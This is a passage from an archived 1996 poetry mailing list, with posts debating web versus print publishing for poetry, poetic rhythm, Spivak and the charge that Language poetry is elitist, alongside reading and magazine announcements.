Anyone interested in this web business might want to drop by the Transit Bar and check out Toronto artist Vera Frenkel's project, "Body Missing" at

http://www.yorku.ca/BodyMissing/

It's quite remarkable, an extension of a physical installation she did here last year.

Mike
[redacted]

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96. Joseph Zitt
HyperRenga meets Godzilla
Fri 5 Jan 1996

Well, I've started work on compiling the POETICS renga hypertext. Looks like the programming part should be fairly sraightforward. I'm going to have some structural questions along the way, though -- things got a little wonky when someone put a new line above the first (so what do the lines that follow that follow?) and, if I recall, somewhere along the line someone changed an existing line. More as I get to it... BTW,FWIW, the starting date was Tue, 25 Jul 1995 15:22:08 -0400 in a message from Steven Howard Shoemaker. (Thanks to whoever implemented the archive's search function for making it easy to find that out!) ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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97. Schuchat
Re: Meaning(s)
Fri 5 Jan 1996

Re the use of "bests" and a connection with Bill Berkson, I wonder if you don't connect the word with him because of his one-shot magazine "BEST & COMPANY" (which was named for a long-defunct department store). In my youth I corresponded with a fair number of 2nd generation New York school poets and I don't recall "bests" being used, though of course "best" or "all best" with the "wishes" or "regards" understood was/is common, without being restricted to 2nd gen NY school. since dropping the wishes, regards, etc, also leaves out the plural, it would make sense to pluralize the now nominalized adjective, dui bu dui?

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98. Ron Silliman
Re: worldwide web presses
Sat 6 Jan 1996

Brad,

Mimeos still exist. Gestetner still exists. Xerox has become more common throughout the world. Viz the following:

"Internet Use Growing In China

(Boston Globe: Jan. 4, p. 52)

With less than 1% of China's 1.2 billion population owning PCs, the market here is expected to grow 36% a year for at least the next five years. One of the biggest reasons for the high demand is the popularity of the Internet among the Chinese who do own computers. There are now 2.5 million PCs in use. The Chinese government is concerned about the access that dissidents might have to the Internet and it remains to be seen how much freedom PC users are allowed to have and whether small entrepreneurial companies inside China are permitted to create Internet products."

The problem with the internet is not so much the cost of production (although those Sun webservers don't come cheap) as it is the cost of consumption. PCs will arrive in about 1 percent of the homes in China sometime around the millenium (i.e. 5 years from now). Most of the African sites I know of are basically western academic research facilities camped on African soil. In fact, most of the poets in the US are not connected yet. I'm not discounting the web's potential, just trying to give it a sense of context.

DF Brown (who may be lurking on this list -- Hi David) tells a story of how he got introduced to poetry. He was in Nam during the war and came back to base camp one night after the local "book drop" had been distributed. All the popular books (Louis Lamour novels, etc) had been grabbed, but still in the bottom of the box was a copy of Creeley's Pieces.

Books have an ability to travel to places the internet will never reach...

Ron Silliman
[redacted]

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99. Robert Drake
Re: worldwide web presses
Sat 6 Jan 1996

&& in weighing the web as possible & actual... all of the folks here on the list are obviously connected--how many of you publish your work here? what percentages ov work are available on net/ paper/both? praps more importantly, how much work that you want to _read_ is available online? keeping in mind the oft-stated generosity of the Electronic Poetry Center to post/host/archive, so there's little excuse ov venue... in other arenas, economics is cited as the anchor holding back web-publishing--folks don't want to give away what they might otherwise sell--that surely can't apply to poetry...

btw, ron--yeah, gestetner still exists, but they don't make mimeos anymore. i recently picked one up used, no parts available & the office had to xerox a salesman's copy of the manual to send me--mimeo paper is hard to find, too. i

got the thing so i could try cutting stencils w/ my imagewriter dot-matirix printer, trying to optimize some photoshop filters so i can scan in grafix & not punch out the stencil to black...

lbd

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100. **Loss Glazier**

Re: WEB presses

Sat 6 Jan 1996

> *&& in weighing the web as possible & actual... all of the folks here on the list are obviously connected--how many of you publish your work here? what percentages ov work are available on net/ paper/both? praps more importantly, how much work that you want to _read_ is available online? keeping in mind the oft-stated generosity of the Electronic Poetry Center to post/host/archive, so there's little excuse ov venue... in other arenas, economics is cited as the anchor holding back web-publishing--folks don't want to give away what they might otherwise sell--that surely can't apply to poetry...*

I like the thought that these are Web "presses". That apporach helps put Web circulation ona plane parallel to print and helps to dispel the romantic notion that if it's printed on paper someone will read it. (Per the comment that - what was it half the world lives some distance from the nearest phone line? - If a person were thus remote it doesn't mean the first thing they would pack in would be a book.) And anyone who has published via a small press (everyone here?) just because it's published doesn't mean someone will read it. Per luigi, nor buy it. So, like a press, it's a mechanism for _putting it out there_. There are some people reading the web who aren't reading books. It's also a way to circulate writings without the labor/consumption of materials involved in print (of course it also becomes more ephemeral--somewhat like publishing your book on newsprint) and without the TIME lag inherent (though not technologically binding) of the publisher/printing/process.

Curiously it may be a 'control' isssue ie that people feel that if it's in a book it's more under control that if it's in electrons. Control is simply tough in any format. When Michael Jackson can own Beatles songs and sell them for commercials, I think there isn't any control in any form. Control is tough. Best control is the desk drawer, I suppose.

So what gives? Per luigi's thought, is it a matter of selling it? I guess it depends what you write _for_. Circulation, fame, the creation of a marketable commodity. If it's circulation, the web will NOT immediately (NOR EVER--don't forget that CD-ROMs (physical, sellable, packaged 'information'

products) may be the closer parallel to BOOKS than the Web--the Web is more similar to old radio programs with poets) replace the book. But perhapst here are certain texts more appropriate to the Web--out of print chapbooks, a writing about Chiapas, an essay just delivered at the MLA to which you'd like to receive some feedback, a specific chapbook of your wrting that you'd like to circulate--may all either satisfy their own purpose by being read--or produce a later sale of your work since people have a sense of what it's about.

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101. Alan Sondheim

Re: worldwide web presses

Sat 6 Jan 1996

Except, Ron, that the last thing maybe that China needs is poets - and the first may be interconnectivity, given what happens to dissidents there.

Alan

(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)

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102. Alan Sondheim

Re: WEB presses

Sat 6 Jan 1996

Books are expensive; the Net's not. It's as simple as that. I can't afford poetry books and for the cost of two of them can read on-line day in and day out for a month. My own work is totally available on the Net, even the recent articles. Very few people would ever print it in any case, and this way people can see for themselves. The Net's democratizing and flattens power. You want to read it, you read it. You want to delete, you delete...

As far as the initial costs go, for the first year (as I think I've pointed out) I used an old IBM XT I purchased for $100, or around $8.50 a month.

Alan

(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)

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103. Jordan Davis
Re: worldwide web presses
Sat 6 Jan 1996

Viz Africa inertnet

a friend of mine who used to play bass for Too Skinnee J's
was in Zimbabwe over November setting up Zimbabwe Online
and come to think of it I haven't heard from him since then

Jordan

↑ Index

104. Steve Carll
Re: Welcome, my friends...
Sat 6 Jan 1996

At 01:33 AM 1/5/96 -0800, Eryque Gleason wrote:
>>...to a poem that never ends:
>
>don't look now folks, but i think he's talking about rengaing!

Meow meow, Eryque. :-)

Steve

↑ Index

105. Thomas Bell
rhythm
Sat 6 Jan 1996

I chanced on _Telling Rhythm_ recently and was intrigued
by the conception of poetic rhythm as a route to and
from the "prison of language". There is, of couse, space
here to only include brief quotes, but I am interested in
responses from members of the list..

Tom Bell -

"Poems are allegories of the sublime power of their
rhythm. Their images and themes represent the power of rhythm,
while the very words that convey to us these images and themes
physically manifest that rhythm. Yet at the same time, the
power of rhythm is not a meaning effect; it does not
participate in the process of signification. It is a power
without rational meaning - a sublime force. The images and

themes of poetry are ways of telling rhythm and thus of
representing the unrepresentable, and these elements of
content also represent their _inability_ to fulfill
their mission. Yet the specific manner in which the
language of a poem attempts and fails to represent
the sublime power of its rhythm and in which it
acknowledges the fact that rhythm is beyond its
reach - _how_ the poems language tells this
story - an be meaningfully situated in history and
culture. Poetry is a moment of encounter between
the specifically, historically engaged and the sublime,
between the socially constructed body and the rhythmic
body at free play among constructs. As such, poetry
challenges socially prevailing concepts, dislodging them
momentarily so that they can change as part of historical
processes." Aviram, Amittai, _Telling Rhythm: Body and
Meaning in Poetry_, Ann Arbor, MI, University of Michigan
Press, 1994, p. 223.

p. 131. Sublimity in Nietzshe is to be found not in the next world but in this; it is not ordinarily visible, not because it is essentially not physical, but precisely because we are constructed as metaphysical subjects and therefore blind to it. Poetry at least leads us in the direction of undoing that metaphysical subjectivity and opening the way to the sublimity of the physical world."

p. 24. in this case the figures of speech indicate something
that cannot be brought into speech diretly - the physical
experience of the sublime power of sound and rhythm.

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106. Lydia & Ward Tietz
Re: rhythm
Sun 7 Jan 1996

Tom Bell posted, quoting Aviram Amittai, "Poems are allegories of the sublime power of their rhythm. Their images and themes represent the power of rhythm, while the very words that convey to us these images and themes physically manifest that rhythm.... The images and themes of poetry are ways of telling rhythm and thus of representing the unrepresentable, and these elements of content also represent their inability to fulfill their mission...."

This is a stirring argument, one that quite openly ventures to restore a transcendent quality to poetry. To be possible , at least on my reading of this excerpt, this seems to depend on a change of emphasis, form "representation"

to "enactment," on the level of production and reception. This I find a very timely and provocative idea, since it gets to the very base of mediation.

Enactment probably should begin to replace representation in certain contexts, but how can this be implemented? This is in part a semiotic argument. As far as I can tell from this excerpt Amittai is arguing for rhythm, because he believes it can evade, and therefore by extension, transcend signification. This is probably not true. Ray Birdwhistell's work in kinesics ("Kinesics and Context," U of Pennsylvania P, 1970) proved that at least for some bodily movements there are isolatable "kinemes," signifying units of movement and motion. In his experiments he was able to isolate some twenty-odd kinemes of the face and head. A more thorough investigation of rhythm would probably find it no less mysterious.

Discounting the transcendent quality of Amittai's argument, I would tend to agree that more kinesthetic or kinemic approaches to literature would be useful. The distinction between a linguistic (language by itself) and a paralinguistic (meaningful activity coincident with language) analysis should probably not be maintained. The difficulty of this approach is that it demands an almost complete reevaluation of temporal and spatial models. At issue is finding a means of "enacting" enactment. To that extent I agree completely.

Ward Tietz
rte de St. Cergue, 48a
CH-1260 Nyon
Switzerland

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107. Tom Beard
Re: worldwide web presses
Sun 7 Jan 1996

Agree with the comments re cost of consumption of Web pages being prohibitive, but these are early, early days for the Web. I keep seeing articles on video artists doing "pieces" via ISDN: isn't this much more "elitist" than the Web, considering the cost of an ISDN connection (at least in this little corner of the Pacific - several hundred a month if you're lucky enough to be near an existing cable)? The point is, we can experiment _now_ with the possibilities of new technology: I don't see any ethical advantage with waiting for the technology to be as cheap as a VCR.

With minority interest fields such as poetry, the Web can offer wider distribution than print media. How many of the forementioned 3rd-worlders x number of km from the nearest phone are likely to be reading a chapbook with a print-run of 200, anyhow? The Web makes a concept such as "print run"

nearly obsolete. One also gets around the narrow focus of book importers and retailers: I'd wager that there is more contemporary US & UK poetry (at least "contemporary" as list-ers here would recognise) on the Web than on all NZ book shelves combined.

And although yer average Nethead isn't likely to be looking for Langpo on the Web, it's surprising what one can stumble across when surfing (and I prefer the verb "stumble" to "surf" - it has a whiff of the almost drunken sensuality that I feel when groping through the cyberspatial dark at the fag end of a night shift). I keep being astonished by the delicious obscurity of some of the subjects I come across, and delighted by the eclectic nature of people's home pages. It's nice to know that one person can have links to pages on opera, molecular biology, coffee, The Simpsons, Andy Warhol and Sappho.

Just a few thoughts at 1.30am,

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://www.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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108. Ron Silliman

Re: worldwide web presses

Sun 7 Jan 1996

Alan,

I tend not to think of poets as luxuries.

When the Tienamen Square massacre occurred, among the people picked up and arrested were the members of the ComputerLand franchise there. As I recall, C'Land lost $9 million worth of PCs in all of that.

Maybe Simon Schuchat or the fellow who's at SUNY from China could speak to this. My own sense is simply extrapolated from a knowledge of how things were handled in the old USSR, back when (1) it had all of 33 international phone lines and (2) you need permission from on high to have the key to the photocopy room. Beyond which is the cost factor, etc, the applicability of the technology in the local environment. People who've spent time in Myanmar tell me that there are more cellular phones per capita there than anywhere. That's one way to avoid hardwiring the country, but PCs are still 5 years from comfortably

reaching that stage here. Hell, every time I move here, I find myself dropping new phone lines so that the modem won't tie up the voice line.

Ron

>
>Except, Ron, that the last thing maybe that China needs is poets - and
>the first may be interconnectivity, given what happens to dissidents there.
>
>Alan
>
>(http://jefferson.village.virginia.edu/~spoons/internet_txt.html
>Images at http://www.cs.unca.edu/~davidson/pix/)
>

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109. Rachel Loden
*_To the Best of Our Knowledge_*
Sun 7 Jan 1996

Radio alert: I just heard a fifteen minute interview with Charles Bernstein (including clips of Ron Silliman and others) on a public radio program called _To the Best of Our Knowledge_. It plays at different times on different stations, so listen for it--

Rachel Loden

PS The whole hour is devoted to "poetry," so be warned.

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110. Bill Luoma
Re: worldwide web presses
Sun 7 Jan 1996

Tom Beard,

have you stumbled on a sappho link?

↑ Index

111. Ray Davis
Re: worldwide web presses
Sun 7 Jan 1996

> *And although yer average Nethead isn't likely to be looking for Langpo on the Web*

As a matter of fact, the first time the potential of the Web really struck me (a hitherto technoskeptic) was in fall of '93 when I bumped into a translation by Lyn Hejinian at the IATH site.

It's easier to find Langpo while browsing the Web than while browsing the shelves of an impoverished rural library or an occasional shopping mall Waldenbooks, such as the ones I was restricted to in high school. A book _can_ go places a Web site can't, but chances are that any single book _will not_ be printed in as many copies as there are readers with access to that Web site.

Though the initial outlay for one PC is higher than the initial outlay for one book, the Web offers much wider distribution of a much wider variety of material than most readers could afford to buy and most publishers could afford to print. If you publish for any reason other than profit, I don't see why you wouldn't want to publish on the Web.

Ray

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112. { brad brace }
worldwide web presses
Sun 7 Jan 1996

Of course the Net and the Web aren`t exactly democratic: I wonder if the speed of the web-server(s), in conjunction with the number of content-providers; can be considered the equivalent of print`s ad-revenue w.r.t. circulation-figures. No doubt, we`ll be seeing such officious numerology shorty.

/:b

--
{ brad brace } <<<< [redacted] >>>> ~finger for pgp

The 12hr-ISBN-JPEG Project: ftp.netcom.com/pub/bb/bbrace
continuous hypermodern ftp.teleport.com/users/bbrace
photo-art: ftp.pacifier.com/pub/users/bbrace
--
Usenet: alt.binaries.pictures.12hr / a.b.p.fine-art.misc
Mailing-list: [redacted] / subscribe 12hr-isbn-jpeg
-> Reverse Solidus: http://www.teleport.com/~bbrace/bbrace.html

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113. Schuchat
Re: worldwide web presses
Mon 8 Jan 1996

since you ask,

I don't think poets are a luxury either.

The role of the poet/writer/public intellectual is somewhat different in china than in the US, there is a lot of historical baggage tied up with that. Liu Binyan's autobiography "A Higher Kind of Loyalty" (I think Knopf or Pantheon) is very good for understanding that. A review of Bei Dao's poetry by Stephen Owen, published in the New Republic probably four years ago, is also very useful for understanding some of the situation of the poet in China today.

Interconnectivity seems to be growing in the PRC. There are commercial internet providers in the PRC now. There is also a growing computer market (I just read that Microsoft and Compaq are sponsoring a 26 episode sitcom on Beijing TV about a typical urban Chinese family and their new computer!) although I seem to recall an estimate of 3 million PCs in all of China. As long as the focus is on making money, the authorities will do everything in their power to encourage it, since they want to be in charge of a rich and powerful country. They seem to recognize that only 33 international phone lines and locking up the xerox machine played a major part in making the Soviet Union an impoverished, hollow mess. But they are also afraid of losing control and recent history suggests they will do whatever they believe is necessary.

Cell phones are an Asian ubiquity.

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114. MATTHEW..HART
Call for Work
Mon 8 Jan 1996

Dear All,

First off, hello and happy new year. I've just this very minute subscribed to this listserv and look forward to receiving your postings. As I've only fairly limited access to e-mail (no on-line terminal at home, and so dependent on the vagaries of Edinburgh University Library, god bless 'em) my replies and so on might not be a prompt as I'd like. That said, a brief announcement . . .

I am currently editing the fifth issue of IBID magazine, a new writing pamphlet coming out of Edinburgh University. Previous issues have included poetry and prose by writers such as Edwin Morgan, Don Paterson, Jackie Kaye, Ian Crichton Smith, W.N. Herbert, Andrew Greig etc. As this list suggests, a

Scottish bias is in evidence, although the editors are anxious to see more work from outwith Scotland and the U.K. -- a process begun in IBID 3, featuring new work by Bob Perelman and younger American writers. Prose, prose-poetry and experimental work are also strongly encouraged.

Should anyone require more information please e-mail

[redacted]

Alternatively, queries or MSS may be sent to the following address:

Matthew Hart,
IBID,
36/5 Drummond St.,
Edinburgh, EH8 9TT.
Scotland.

Please consider contributing your work, and please enclose an SAE or International Reply Coupon(s) for valued manuscripts.

Best Wishes,

Matt Hart.

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115. Chris Stroffolino
Re: worldwide web presses
Mon 8 Jan 1996

---

dear schuchat?
"impoverished hollow mess"---due to 33 int'l phone lines?
is the usa an impoverished hollow mess too?

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116. Bill Luoma
Mark Nowak
Mon 8 Jan 1996

---

i heard that Mark Nowak is setting up an "event" in Feb in mnpls. C'est vrai? When? Does anyone have Mark's email address?

Bill Luoma

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117. Charles Alexander
Re: Mark Nowak
Mon 8 Jan 1996

> *i heard that Mark Nowak is setting up an "event" in Feb in mnpls. C'est vrai? When? Does anyone have Mark's email address?*
>
> *Bill Luoma*

Yes, Bill. Mark's email address is

[redacted]

I hope that's current, as it's been a long time since I've emailed him. But I believe the February event is on, that it's February 10, and that it's a small press book fair, particularly for presses in this area. But you should ask Mark about the details.

charles alexander

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118. Maria Damon
Re: Mark Nowak
Mon 8 Jan 1996

---

mark's e-address is
[redacted]
or maybe just stkate without the s.
best, maria d

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119. Patrick Phillips
Re: worldwide web presses
Mon 8 Jan 1996

---

as for the video angle

Dec. 24, 1985, Banaue, Philippines, an ancient rice terrace in the northernmost island - Christmas video in the town square TV- The Ten Commandments...

Jan. 1986, Manila, 9pm open air video - the Killing Fields - appropriate seeing Marcos was deathly afraid of the NPR (two months later Aquino was speaking before a crowd of a million in the same park)....

Jan. 1986, Jolo, near Malaysia, in Moro National Liberation Front home - strictly Muslim - watching video of bantam weight boxing with a commander... after lunch, blood stains in the middle of the street...

oh what a tangled....

↑ Index

120. george hartley
Re: worldwide web presses
Mon 8 Jan 1996

I myself have mixed feelings about the following passage, but thought it might spark some interest: from Gayatri Spivak, "Scattered Speculations on the Question of Value" in <In Other Worlds>:

"The literary academy emphasizes when necessary that the American tradition at its best is one of individual Adamism and the lossening of frontiers. In terms of political activism within the academy, this free spirit exercises itself at its best by analyzing and calculating predictable strategic effects of specific measures of resistance: boycotting consumer items, demonstrating against investments in countries with racist domestic politics, uniting against genocidal foreign policy. Considering the role of telecommunication in entrenching the international division of labor and the oppression of women, this free spirit should subject its unbridled passion to the same conscientious scrutiny. The 'freeing' of the subject as superadequation in labor-power entails an absence of extra-economic coercion as exploitation is hidden from sight in 'the rest of the world.'

"These sentiments expressed at a public forum drew from a prominent U.S. leftist the derisive remark: 'She will deny the workers their capuccino!' I am not in fact suggesting that literary critics should be denied word-processors. My point is that the question of Value in its 'materialist' articulation must be asked as the capuccino-drinking worker and the word-processing critic actively forget the actual price-in-exploitation of the machine producing coffee and words." p. 167.

How is this related to the charge that Language Poetry is elitist?

George Hartley
[redacted]

2023 Queensbridge Dr.
Columbus, OH 43235

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121. **Chris Stroffolino**

Re: worldwide web presses

Tue 9 Jan 1996

Dear george hartley---it seems one must make several steps in order to "apply" spivack's statement to the question of whether language poetry is elitist. First, she's dealing with "critics" and "academic" workers primarily, and the picture she paints of her antagonistic interlocutor seems purposely absurd: "she will deny our cappicino!" Spivack is of (delete "of") is echoing Marx's definition of what property is, as if to reassure one that they will be allowed to keep their trinkets, etc. and that the current ideology of "middle classes" is an ideological ruse and that almost all of us are PROPERTYLESS and workers and thus working against our own interests when we engage in acts, or further ideologies, that appeal to the bourgeoisie. Now--as to whether this can be related to "language poetry," the question can go several ways. On one level, it seems the question must be taken out of the academy. But not only does the poetry circulate in the academy, some of the poets do. And the question of how the "poetry" relates to the "poet" or the "person" becomes something that might need to be taken up more and more, and if there is the same kind of "false consciousness" at work in such situations that spivack satirizes in the figure of the cappucino colleague. And one may long for a world that DOES NOT FORGET that labour power involved, and sees a solidarity with "Juan Valdez", in a classic Marxist fashion. Yet it seems (at least in the passage you quoted, but even in what I've read of Spivack's larger project) that the force of critique stops there, and since SHE TOO is implicated in "the teaching machine" that, on one level, the proletarian interests she may claim to speak for becomes equally textualized---and just as a friend of mine once caught robert bly, an avowed vegetarian, red handed with red-meat, one may question how her ideological war against INDIVIDUALIST atoms may mystify a very particular investment she has in individualism. Just maybe! Insofar as certain poetries (whether lang or no) call attention to the realpolitik of the academic workplace and its relationships to global capitalism, they may be seen as allied to Spivack's project (though not insofar as she's "against literature" and even "literature against literature" as such). And that much of it does call attention to the possibility that CAPPUCINO and WORD PROCESSORS are not necessarily indicative of "progress" or "privilege" or the other images propogated by media hype of the benefits of increasingly alienated labour, but in fact as alienating as the migrant fruit workers, the $1 a day home-labour subaltern: The YUPPIE-FLU "service economy" technocrat is as unhappy in his or her "privilege" as the overworked coffee picker. WAKE UP AND SMELL THE COFFEE means that the top-heavy consumer and the bottomheavy producer

can be united and some kind of cultural revolution should occur that allows the lower classes the privilege of labouring in the mind and at the same time stops over-comodifying INTELLECTUAL LABOUR-POWER in the academy ("publish or perish") and gives up on the idea of the autonomous "work" of the intellect that likes to delude itself it's FULFILLED by labouring in the mind every day and every night, the mind and only the mind AND HAS TO PAY TO GO TO A GYM TO WORK-OUT because those needs are not being met by its profession. Therefore, of course, it's elitist. But then we are all implicated---even the "easy to understand" poets. I left a lot of holes, but I guess I kinda made my point. Chris Stroffolino

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122. David Golumbia
Re: outside in the web press
Tue 9 Jan 1996

Chris Stroffolino wrote:
>
> subaltern: The YUPPIE-FLU "service economy" technocrat is as unhappy in
> his or her "privilege" as the overworked coffee picker. WAKE UP AND SMELL
> THE COFFEE means that the top-heavy consumer and the bottomheavy producer
> can be united and some kind of cultural revolution should occur that
> allows the lower classes the privilege of labouring in the mind and
> at the same time stops over-comodifying INTELLECTUAL LABOUR-POWER in the
> academy ("publish or perish") and gives up on the idea of the autonomous
> "work" of the intellect that likes to delude itself it's FULFILLED by

Chris: can't completely agree here. It's true -- truer than many would acknowledge -- that the position of intellectual (better, I think, *teaching*) laborer is an alienated one. But I can't make the leap from the alienation (in the technical Marxian sense) of that worker to the hard-core class and North/South exploitation (and homeland destruction) of the coffee pickers. Among other things, this seems to erase a great deal of history.

2) While it's true that Spivak's personal life seems not altogether to comport with her theoretical positions, as you suggest, you could also look at it in terms of her *professional* life, wherein she has, often singlehandedly, created or defended positions that have turned out, in retrospect, to have a great deal of value in contradistinction to the more orthodox views of the time. I think in the passage from "Scattered Speculations," for example, she is point to some of the

self-satisfaction expressed by early 80s campus activists and the implication of same in the systems they were apparently contesting. In retrospect this phenomenon seems real. There are much better examples, though, like her defense of deconstruction, and her continued support/defense of Marx, and her insistence on reading the figure of "woman" in Derrida, and so on.

3) How to relate this to langpo? Howabout this: to ask the question, what is the degree to which -- or maybe where is the dividing line -- between persons who engage in langpo-type writing because of their commitment to a (whatever) perceived subversive/liberatory potential, and those who, especially through the academy, do so because it's the thing to do of the moment -- and might be the Blys or Kinnells (Jrs) of another day. Thus subverting, in their adherence, exactly what the first-named practitioners had in mind, and doing what to "the project"? And in the Spivakian spirit, not directly to answer this question, but only to open it? And if one feels like it, about cultural studies as well?

--
[redacted]
David Golumbia

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123. Louis Cabri
Re: worldwide web pressed by debarked
Tue 9 Jan 1996

Sanity drools! over its own excess. - Is this perhaps the press talk of? But George Hartley asks another sort of question: How might the Chargex card be used in the econonmy of a theory whose surplus value is drunken like the capuccino that Language Writing then becomen? Too easily, too easily, dear indebted friends. Awake on the bean, poetry is like a spoon / with one stipulation: at high noon, in Mexico City, the smog stirs. Up the price-in-exploitation of the machine, violins. Hey grinders - sprayed from Hartley's good blade - wouldn't you say, indubitably, elitism is a class concept: yet is it used as such by those who (who) "charge it" against - and ex: out of - their careers? "Brute point"? Yoplay:

from "Elite 1"

Swift Current Saskatchewan is at the centre.

- Fred Wah

Ok?
Moreover,

from "Music at the Heart of Thinking One Oh Four
(SNAP for Hannike Buch)"

Being born grammatically correct

- Fred Wah

Q.E.D. The charge of elitism, yawn. An Ionescosaurus charge, _ok_, once in a while, the little house will quake, right? It's a little house! "In this regard, then, the professoriat [who be dat] may take up the challenge of reconceptualizing classes - workers' relations to what they produce - only to discover greater solidarity than they had expected with the political and economic situations of workers in more demonstrably material jobs." Like Chris S says. Jameson wouldn't like this homologizing of course, which is too sixties French for him (Clint, do you grike?). "We [wee-wees] can learn from . . . novelists [about] . . . how to use socially powerful [ ] genres to cut across the grain [Is the bean a grain], to transvalue [more typically, transvest] the conventions for reception for which there is already tacit acceptance [indeed, taciturnly so]. In our electronically mediated postmodernity, film and television and computer technologies ought to be the sites for what was once [,huh,] considered the subversions of the literary avant-garde. And as 'residual' forms, literary modes of production might find new purposes in contesting the rhetorical and technological powers (and thus class divisions) of our new socioeconomic configurations." (Both quotes, John Carlos Rowe, "The Writing Class," _Politics, Theory, and Contemporary Culture_, ed. Mark Poster.) But I thought that, you know, that, like.... Anyway what happens to the configuration "Spivak" if her project or a bit of it is used to relate avantgarde writing to "elitism" for the purpose of critiquing such relations? Like Chris says. Did anyone ever locate her article on Perelman's poetry?

↑ Index

124. John Geraets
*_Sanage_*
Tue 9 Jan 1996

From Resisting F/r/ame series is my new book

Sanage Adventure Field.

(sa-na-gay, Japanese pronunciation, is a
loosely coupled language points,
with switches, lost parts, some reconnections.)

Interested, let me know. $US10 to get it
to your door. Or I'll be in Auckland Feb &
March at 5/63 Willerton Ave, New Lynn, Auckland, NZ.

best

John Geraets
[redacted]

↑ Index

125. Bill Luoma
Minneapolis Events (fwd)
Tue 9 Jan 1996

---

guyzies,

thanks for the help on Mark Nowak's email address. He sent this note back. Sounds like fun. Hope there is snow.

dr antonio blizzardo

Forwarded message:
From: [redacted]
To: [redacted]
Date: 96-01-08 14:50:22 EST

Bill, hello....

Charles Alexander forwarded a poetics list message you sent to me: yes, I'm planning as part of a yearly series of readings/talks I program through the College of St. Catherine-Minneapolis, to host a regional MICRO:'zine/press showcase & forum on Saturday, Feb 10th.

About 15 parties (or more) have been invited, including Chax Press, Detour Press, Standing Stones Press, Lightning & Ash, Disturbed Guillotine, Oracular Editions, Rain Taxi, Wire Mother, Thin Coyote, etc. etc. etc. Books & 'zines will be for sale, editors will be giving a brief (oh... Poetic Briefs, too!)... a brief talk about their journal, etc.

Also scheduled for this spring are readings by George Kalamaras and Diane Glancy (the later at the Minneapolis American Indian Center), a talk by Jack Zipes, etc.

I'll be at this e-mail address today & tomorrow (Tues) if you have further questions. Then, I'll be in Maine until the 16th & Buffalo until the 21st. Back after that, for the winter haul...

Until...

Mark Nowak

↑ Index

126. Chris Stroffolino
Re: outside in the web press
Tue 9 Jan 1996

David, to make a "leap" between two kinds of exploitation is to make a "link." And though this may "erase a great deal of history", if there is to be any sense of solidarity between the two, it seems it must be made...especially in an America in which many were duped by the promise that somehow white-collar work was somehow less exploit- ative than blue collar, and that even those in say a $35,ooo a year job who are able to buy VCR's etc need to rethink the oppression they are subject to and not just in the workplace. Sure, issues such as "homeland destruction" are not as acutely felt in the "first world" as in other places. But the destruction of inner cities, the displaced nomadism, the indentured servant status that is increasingly a reality for most academic workers, etc., etc., does wreak havoc too, and seems to discourage not only unionization, collective engagement, even "community" but its effects can be seen even even on the more "basic human" or "domestic" levels of "love" and the possibility of "family". It's not as much of a problem if one is "economically secure" but as tenure track job security seems to be going the way of the dinosaurs, this myth of individual security that has compensa- ted for the breakdown and destruction of our american homelands--- ie. what used to be called the american dream (not the homelands, but the anti-community myth; the "I got mine, don't worry about his") seems to call for something more than Spivack's rather specialized form of professional "critique"--- Chris

↑ Index

127. Stephen Galen Cope
Re: rhythm
Tue 9 Jan 1996

John Corbett argues in "Writing Around Free Improvisation," (I don't have the book nearby so I'll have to paraphrase) that music is not exactly a-signifcant, it merely presents a process of signification without semantic content. Rhythm might be read the same way -- it points not to content but to activity, performance, enactment. There would seem to be a connection here with a good deal of recent poetic experiments (Clark Coolidge, for instance), where the cognitive context demanded is one of immediate experience first -- of the material aspects of language (sound, rhythm, voice, breath) -- and only secondarily (if at all) semantic reference...

A distinction between presentation and re-presentation might be in order as well (i.e. to "represent the unrepresentable" might also be read as a

presentation of the unrecognized or unrecognizable, what Brathwaite has in mind when he writes at the end of _The Arrivants_:

now waking
making

making
with their

rhythms some-
thing torn

and new

that the 'creative' in poetry is precisely its ability to skirt this tear -- to trace the jagged, cutting edge of old and new, known and unknown, real and unreal, represented and unrepresented. It's certainly worthy of note also that such terms have a pronounced socio-political significance in Brathwaite's work and a particular cultural meaning to the conditon which Brathwaite addresses. The unrepresentable, that is, in our inherited discourse is not so esoteric is it might sometimes seem...

-Stephen Cope

↑ Index

128. Maria Damon
Re: Minneapolis Events (fwd)
Tue 9 Jan 1996

dang! why do all the fun things in mpls happen in my absence? keep those homefires burning, mark and charles and marta and gary et al et al et al et al...et al be back soon. md

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129. Charles Alexander
Re: Minneapolis Events (fwd)
Wed 10 Jan 1996

> *dang! why do all the fun things in mpls happen in my absence? keep those homefires burning, mark and charles and marta and gary et al et al et al et al...et al be back soon.*
> *md*

Maria, we do it just to make sure you will come back one of these days. You are missed here.

charles

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130. Robert Drake
Re: worldwide web presses
Wed 10 Jan 1996

**********begin forwarded msg.

Message #417 (425 is last):
Date: Wed Jan 10 01:48:36 1996
From: [redacted] (Robert Kendall)
Subject: New Homepage
To: [redacted] (ht_lit)

Some of you on this list had asked about an electronic version of my article "Writing for the New Millennium," which appeared in the Nov/Dec issue of Poets & Writers Magazine. I'm pleased to say the article is now available on my new homepage at:

http://ourworld.compuserve.com/homepages/rkendall

Right now, it doesn't include any of the illustrations, though I hope to add these later as time permits.

Also on the page you'll find other articles I've written, samples of my poetry, and the course guide and syllabus for "Hypertext Poetry and Fiction," the class I teach on-line for the New School for Social Research, which starts Jan. 29.

--Rob Kendall

end forwarded msg.**********

robert's article is primarily a review/overview of disk-based hypertext, rather than online, but still might be of interest...

lbd

↑ Index

131. Jordan Davis
sympathy for the individual
Wed 10 Jan 1996

DG wrote:

3) How to relate this to langpo? Howabout this: to ask the question, what is the degree to which -- or maybe where is the dividing line -- between persons who engage in langpo-type writing because of their commitment to a (whatever)

perceived subversive/liberatory potential, and those who, especially through the academy, do so because it's the thing to do of the moment -- and might be the Blys or Kinnells (Jrs) of another day. Thus subverting, in their adherence, exactly what the first-named practitioners had in mind, and doing what to "the project"? And in the Spivakian spirit, not directly to answer this question, but only to open it? And if one feels like it, about cultural studies as well?

